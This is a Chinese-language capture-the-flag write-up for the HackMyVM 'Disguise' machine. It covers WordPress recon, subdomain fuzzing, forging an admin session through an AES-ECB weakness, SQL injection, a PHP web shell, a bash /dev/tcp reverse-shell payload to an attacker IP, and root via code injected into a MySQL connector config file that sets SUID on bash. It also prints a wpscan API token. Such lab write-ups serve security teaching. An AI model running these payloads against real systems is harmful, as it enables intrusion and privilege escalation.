Disguise.

https://hackmyvm.eu/machines/machine.php?vm=Disguise

Notes：A machine that simulates a real environment, please be careful and have fun.

前期踩点

➜  Disguise nmap -sP 192.168.56.0/24                      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-12 02:37 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00050s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00046s latency).
MAC Address: 08:00:27:BD:06:66 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.59
Host is up (0.00078s latency).
MAC Address: 08:00:27:34:29:FC (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.01 seconds

➜  Disguise nmap -sT -min-rate 10000 -p- 192.168.56.59    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-12 02:37 EDT
Nmap scan report for 192.168.56.59
Host is up (0.0010s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:34:29:FC (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.38 seconds

➜  Disguise nmap -sT -A -T4 -O -p 22,80 192.168.56.59 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-12 02:45 EDT
Nmap scan report for 192.168.56.59
Host is up (0.00082s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey: 
|   2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA)
|   256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA)
|_  256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
|_http-generator: WordPress 6.7.2
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Just a simple wordpress site
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
MAC Address: 08:00:27:34:29:FC (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.82 ms 192.168.56.59

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.08 seconds

Web 渗透

WordPess

看到 nmap 版本探测中扫描出来了 WordPress ，那么就可以使用 wpscan 来针对性扫描了

访问 Web 页面，提示 Disguise.hmv 添加到 hosts 中

在页面信息中能得到一个用户 simpleAdmin

使用 wpscan 进行针对性扫描了

➜  Disguise wpscan --url disguise.hmv --api-token bOauzGNYvhy6BU3DlHGCMVZmWJDqZH5tuFoHfsdk91o -e u,ap --plugins-detection mixed
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` |  _ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://disguise.hmv/ [192.168.56.59]
[+] Started: Mon May 12 03:25:17 2025
Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.59 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://disguise.hmv/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://disguise.hmv/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://disguise.hmv/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://disguise.hmv/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://disguise.hmv/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.7.2 identified (Outdated, released on 2025-02-11).
 | Found By: Rss Generator (Passive Detection)
 |  - http://disguise.hmv/feed/, <generator>https://wordpress.org/?v=6.7.2</generator>
 |  - http://disguise.hmv/comments/feed/, <generator>https://wordpress.org/?v=6.7.2</generator>

[+] WordPress theme in use: newscrunch
 | Location: http://disguise.hmv/wp-content/themes/newscrunch/
 | Last Updated: 2025-05-07T00:00:00.000Z
 | Readme: http://disguise.hmv/wp-content/themes/newscrunch/readme.txt
 | [!] The version is out of date, the latest version is 1.8.5
 | Style URL: http://disguise.hmv/wp-content/themes/newscrunch/style.css?ver=6.7.2
 | Style Name: Newscrunch
 | Style URI: https://spicethemes.com/newscrunch
 | Description: Newscrunch is a magazine and blog theme. It is a lightweight, elegant, and fully responsive theme sp...
 | Author: spicethemes
 | Author URI: https://spicethemes.com
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.8.4.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://disguise.hmv/wp-content/themes/newscrunch/style.css?ver=6.7.2, Match: Version: 1.8.4.2'

[+] Enumerating All Plugins (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:43:31 <==================> (110475 / 110475) 100.00% Time: 00:43:31[+] Checking Plugin Versions (via Passive and Aggressive Methods)                   > (44160 / 110475) 39.97%  ETA: 00:24:36
[i] Plugin(s) Identified:

[+] akismet
 | Location: http://disguise.hmv/wp-content/plugins/akismet/
 | Latest Version: 5.4
 | Last Updated: 2025-05-07T16:30:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://disguise.hmv/wp-content/plugins/akismet/, status: 403
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
 |     Fixed in: 3.1.5
 |     References:
 |      - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
 |      - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
 |      - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
 |

....

可以看到 WordPress 版本还是比较新的，而且插件也没有扫描出来漏洞

再对上面的到的用户名进行爆破，密码使用 rockyou 到 5000 我就停了，也，没爆破出来

模糊测试

再扫描一下子域名

➜  Disguise wfuzz -c -w ../../Dict/SecLists-2024.3/Discovery/DNS/subdomains-top1million-110000.txt -u http://disguise.hmv -H 'host:FUZZ.disguise.hmv' --hl=890
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://disguise.hmv/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                   
=====================================================================

000000001:   301        0 L      0 W        0 Ch        "www"                                               
000005051:   200        18 L     52 W       846 Ch      "dark"

得到新的子域名 dark 添加到 hosts ，再访问

可以进行注注册，注册用户 help 然后登陆进去

伪造 Session

这部分看着WP和自己理解做的（实在不懂密码学）

被动拦截的包中有一个特别的字段 dark_session

将其进行 URL 解码后是一串 base64 ，再继续解码出来感觉怪怪的

多注册几个用户查看是否存在构造的可能（注册时用户名超过8个会被阻止，但是它是前端验证，绕过即可）同时发现 simpleAdmin 被注册了，可能就是要伪造它。

// a bxgIMpx0LFnwYPwx7tl37A== 1
// aaaa e3Opvt7372tUQCmdavBBxA== 4
// aaaaaaaa 5SKl5Bbstz3e0GrQ8QBCkA== 8
// aaaaaaaaaa Hxs4O2FVu/QM9EqHsnvrOA== 10
// aaaaaaaaaaaa FUoxH12UY/N58pkbRNAAf8JwkfrsOdSxW16pbszGJLY= 12
// aaaaaaaaaaaaaaaaaaaaaaaa FUoxH12UY/N58pkbRNAAf7p+nJP55MNIxlkje3zIK2M= 24
// aaaaaaaaaaaaaaaaaaaaaaaaaaaa FUoxH12UY%2FN58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTHCcJH67DnUsVteqW7MxiS2 28
// aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa FUoxH12UY/N58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTEN1ZCFIDLOwYyKBoSxyL6x 32

可以注意到在 12 位后用户名生成的 Session 前半部分是一样的，我们把它拿去喂给 GPT

推断出来是 AES 加密，采用 PKCS#7 填充：https://segmentfault.com/a/1190000019793040

并且看加密后的值比较的话，应该是AES-128 （通过群友得知加密算法是AES-128-ecb）

AES-128-ECB（Electronic Codebook）是AES对称加密算法的一种基础工作模式。其核心特点是将明文分成固定大小的块（128位/16字节），每个块独立加密，加密过程无需依赖其他数据块 密钥长度：固定为128位（16字节），如密钥不足会通过补零或截断处理 填充规则：若明文长度不足16字节的整数倍，需填充至对齐。常用 PKCS#7 填充（例如，缺5字节则填充5个0x05） 加密流程：每16字节明文块直接通过AES算法加密，生成16字节密文块，最终拼接为完整密文

那么一个加密块是16字节，simpleAdmin是11字节，后边就要补充4个0x04

aaaaaaaaaaaa\x04\x04\x04\x04

但是我们可以注意到我们输入了 12个字节和28个字节时，密文就翻倍了

// aaaaaaaa 5SKl5Bbstz3e0GrQ8QBCkA== 8
// aaaaaaaaaaaa FUoxH12UY/N58pkbRNAAf8JwkfrsOdSxW16pbszGJLY= 12
// aaaaaaaaaaaaaaaaaaaaaaaaaaaa FUoxH12UY%2FN58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTHCcJH67DnUsVteqW7MxiS2 28

那么一个块是16字节，为什么12就翻倍了呢？

那么就是可能加了salt

// aaaaaaaa(8) + salt(4) + /x04/x04/x04/x04 5SKl5Bbstz3e0GrQ8QBCkA== 8
// aaaaaaaaaaaa(12) + salt(4) + <填充一个数据块> FUoxH12UY/N58pkbRNAAf8JwkfrsOdSxW16pbszGJLY= 12
// aaaaaaaaaaa(11) + salt(4) + /x01
// aaaaaaaaaaaaaaaaaaaaaaaaaaaa(28) + salt(4) + <填充一个数据块> FUoxH12UY%2FN58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTHCcJH67DnUsVteqW7MxiS2 28

然后我们要构造 simpleAdmin

simpleAdmin(11) + salt(4) = 15

然后我们给它填满到16，让其多填充一个数据块

simpleAdmin(11) + salt(4) + /x01 = 16 + <填充一个数据块>

然后就能泄露 simpleAdmin 的Session值

注册simpleAdmin%01

登录simpleAdmin%01 后抓到包

+1+3/NxCLcIR0Jq9qDudF8JwkfrsOdSxW16pbszGJLY=

取前面 16 个字节进行 base64 加密和 URL编码

%2B1%2B3%2FNxCLcIR0Jq9qDudFw%3D%3D

我们回到浏览器刷新 profile.php页面，更换 dark_session

成功进来到 simpleAdmin 的后台

点击管理后台，有添加商品窗口

文件上传 & SQL 注入

看样子可以上传图片

常规操作，上传一张普通图片，在图片内容添加上 phpinfo ，然后发送

但是并没有找到图片的路径，主页上图片点开貌似是通过文件包含的，经过测试，没找到漏洞

测试一下其他参数，在文件名的部分加上单引号发现存在SQL注入

并且将文件路径爆了出来，访问一下

可以成功解析，上传一句话木马

反弹 Shell

1=system('%2Fbin%2Fbash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.56.4%2F1234+0%3E%261%22');

提权 - To Darksoul

信息收集

拿到 shell 先将其进行升级为交互式的：https://sunsetaction.top/2025/04/21/%E5%8F%8D%E5%BC%B9%20shell%20%E5%8D%87%E7%BA%A7/

查看一下 config 文件，后面三位是被遮住的

www-data@disguise:/var/www/dark$ cat config.php 
<?php

$DB_USER = 'dark_db_admin';
$DB_PASS = 'Str0ngPassw0d1***';
$DB_NAME = 'dark_shop';

?>

www-data@disguise:/var/www/dark$ ss -tulpn
Netid                     State                      Recv-Q                     Send-Q                                           Local Address:Port                                           Peer Address:Port
udp                       UNCONN                     0                          0                                                      0.0.0.0:68                                                  0.0.0.0:*
tcp                       LISTEN                     0                          80                                                   127.0.0.1:3306                                                0.0.0.0:*
tcp                       LISTEN                     0                          128                                                    0.0.0.0:22                                                  0.0.0.0:*
tcp                       LISTEN                     0                          128                                                          *:80                                                        *:*
tcp                       LISTEN                     0                          128                                                       [::]:22                                                     [::]:*

在 darksoul 家目录也能找到

www-data@disguise:/home/darksoul$ cat config.ini 
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)

密码爆破

首先生成密码，后面三位可能是一致的

www-data@disguise:/home/darksoul$ which python
/usr/bin/python

列出所有可用字符

ww-data@disguise:/home/darksoul$ python
Python 2.7.16 (default, Mar 23 2024, 18:55:36) 
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> print(string.printable)
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

写脚本生成字典

def generate_password_dict():
    prefix = "Str0ngPassw0d1"
    
    chars = r"""0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"""
    
    with open("passwords.txt", "w") as f:
        for char in chars:
            password = prefix + char*3 + "\n"
            f.write(password)

if __name__ == "__main__":
    generate_password_dict()

使用 suForce 进行爆破

提权 - To Root

信息收集

加目录下能发现user.txt..?

darksoul@disguise:~$ cat user.txt 
Good good study & Day day up,but where is the flag?

尝试寻找一下，找到 hmv{hiddenflag} ，被隐藏在 user.txt 里面

darksoul@disguise:~$ grep -rE 'flag' ./ 2>/dev/null
./user.txt:Good good study & Day day up,but where is the flag?
./user.txt:hmv{hiddenflag}

实际上使用 xxd 也可以看到

上传 pspy64 查看进程

2025/05/13 03:12:32 CMD: UID=0     PID=1      | /sbin/init splash 
2025/05/13 03:13:01 CMD: UID=0     PID=1884   | /usr/sbin/CRON -f 
2025/05/13 03:13:01 CMD: UID=0     PID=1885   | /usr/sbin/CRON -f 
2025/05/13 03:13:02 CMD: UID=0     PID=1886   | /usr/bin/python3 /opt/query.py /home/darksoul/config.ini 
2025/05/13 03:13:02 CMD: UID=0     PID=1887   | /usr/bin/python3 /opt/query.py /home/darksoul/config.ini 
2025/05/13 03:13:02 CMD: UID=0     PID=1888   | /bin/sh -c uname -p 2> /dev/null

能看到一段时间就运行 python 脚本

darksoul@disguise:~$ ls -al /opt/query.py 
-rw-r--r-- 1 root root 870 Apr  1 09:56 /opt/query.py
darksoul@disguise:~$ cat /opt/query.py 
import mysql.connector
import sys

def main():
    if len(sys.argv) != 2:
        print("Usage: python query.py <configfile>")
        sys.exit(1)

    cnf = sys.argv[1]

    try:
        conn = mysql.connector.connect(read_default_file=cnf)
        cursor = conn.cursor()

        query = 'SELECT COUNT(*) FROM users'
        cursor.execute(query)
        results = cursor.fetchall()
        print(f"users count:{results[0][0]}")

        query = 'SELECT COUNT(*) FROM products'
        cursor.execute(query)
        results = cursor.fetchall()
        print(f"products count:{results[0][0]}")
    except mysql.connector.Error as err:
        print(f"db connect error: {err}")
    finally:
        if 'cursor' in locals():
            cursor.close()
        if 'conn' in locals() and conn.is_connected():
            conn.close()

if __name__ == "__main__":
    main()

通过read_default_file=cnf参数从指定路径的MySQL配置文件中读取连接参数

执行SELECT COUNT(*)查询用户表和产品表的记录总数，结果通过fetchall()获取

使用print直接输出统计值，符合简单计数场景需求

在finally块中显式关闭游标和连接，防止资源泄漏

python.connector

/opt 无法写入，模块也都是只读，但是config.ini我们是可控的

查看一下官方文档：https://dev.mysql.com/doc/connector-python/en/

在：https://dev.mysql.com/doc/connector-python/en/connector-python-opentelemetry.html 中，可以找到配置文件中有如下代码：

配置文件中可以执行py语句，我们看一下config 的连接参数：https://dev.mysql.com/doc/connector-python/en/connector-python-connectargs.html

但是也并没有找到可利用的方法

最后在微信搜一搜找到了：https://mp.weixin.qq.com/s/h3qOUrzhANfDJ0PuAJyc6w（这文章之前还看过，然后忘记了..）

// POC
[incorrect_config]
user=root
password=mypass
database=cpydata
port=int(3306)
allow_local_infile=__import__('os').system('calc')

[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
allow_local_infile=__import__('os').system('chmod u+s /bin/bash')

获取 root shell

darksoul@disguise:~$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
darksoul@disguise:~$ /bin/bash -p
bash-5.0#

bash-5.0# cat root.txt 
#Congratulations!!!
hmv{CVE-2025-21548}

总结

涉及到密码学，通过AES-128-ECB的局限性来伪造 Session，这一部分算是知识盲区了。

HackMyVM - Disguise